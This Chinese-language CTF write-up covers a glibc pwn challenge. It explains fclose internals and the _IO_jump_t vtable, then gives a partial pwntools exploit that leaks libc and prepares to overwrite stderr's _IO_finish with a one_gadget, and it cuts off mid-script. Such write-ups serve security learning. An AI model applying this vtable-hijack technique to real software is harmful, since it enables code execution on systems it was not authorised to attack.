目录
PWN
secret(伪造vtable)
这题当时比赛的时候找到了先知上的一篇文章,研究了它的代码想在本题复现,但是总是不成功
看了大佬们的博客,发现这题居然这么简单Orz
简单说一下这题的原理:
本题先close了stdout,然后给写两字节和0x18字节的机会,之后close stderr和stdin
那么我们先分析一下fclose的源码,其核心函数是位于/libio/iofclose.c的_IO_new_fclose函数,其大致流程是:首先检查文件结构体指针,之后使用_IO_un_link将文件结构体从_IO_list_all链表取下,_IO_file_close_it会最终调用系统调用关闭文件描述符,之后调用_IO_FINISH(fp),如果并非stdin/stdout/stderr最后调用free(fp)释放结构体指针。关于fclose等函数的详细分析可以参见IO FILE 之fclose 详解
而_IO_jump_t的结构如下:链接
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
因为我们只有0x18的写长度,因此只能写到_IO_finish。在这里我们用不到2字节的写,我们只需要把stderr的vtable中_IO_finish的地址改成one_gadget即可
from pwn import *
#r = remote("183.129.189.60", 10030)
r = remote("127.0.0.1", 10001)
#r = process("./secret3")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x1255)
''')
libc = ELF("./libc/libc-2.29.so")
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
r.recvuntil("I give you a secret:")
printf = int(r.recvuntil('\n').strip(), 16)
success("printf:"+hex(printf))
libc.address = printf - libc.sym['printf']
libc_base = libc.address
success("libc:"+hex(libc_base))
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
stderr